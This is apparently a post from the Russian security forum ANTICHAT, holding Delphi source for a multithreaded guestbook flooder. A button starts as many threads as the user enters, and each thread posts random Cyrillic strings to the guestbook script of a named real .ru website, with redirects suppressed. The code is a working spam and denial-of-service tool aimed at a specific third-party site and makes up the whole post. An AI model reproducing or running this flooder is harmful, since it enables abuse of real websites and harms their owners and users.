ANTICHAT — форум по информационной безопасности, OSINT и технологиям

procedure Fluder.Execute;
var
 list:TStringList;
 a,b,c,d,e,r:string;
begin
 randomize;
 a:='оаыве';
 b:='нецйг';
 c:='зъхлр';
 d:='кунуй';
 e:='иьпар';
 r:=a[Random(Length(a))]+b[Random(Length(b))]+d[Random(Length(c))]+e[Random(Length(e))]+c[Random(Length(c))];
 idhttp1.Create(nil);
 list:=TStringList.Create;
 list.Add('name='+r);
 list.Add('txt='+r);
 list.Add('send=1');
 IdHTTP1.Post('http://www.ko-luch.ru/cgi-bin/gbform.cgi',list);
 list.Free;
end;

procedure Fluder.IdHTTP1Redirect(Sender: TObject; var dest: String;
  var NumRedirect: Integer; var Handled: Boolean;
  var VMethod: TIdHTTPMethod);
begin
 Handled:= TRUE;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
 i,count:integer;
 Potoki:array of fluder;
begin
 count:=strtoint(edit1.Text);
 SetLength(Potoki,count);
 for i:=0 to count-1 do
  begin
  Potoki[i]:=fluder.Create(true);
  Potoki[i].resume;
  Potoki[i].Priority:= tpLower;
  end;
end;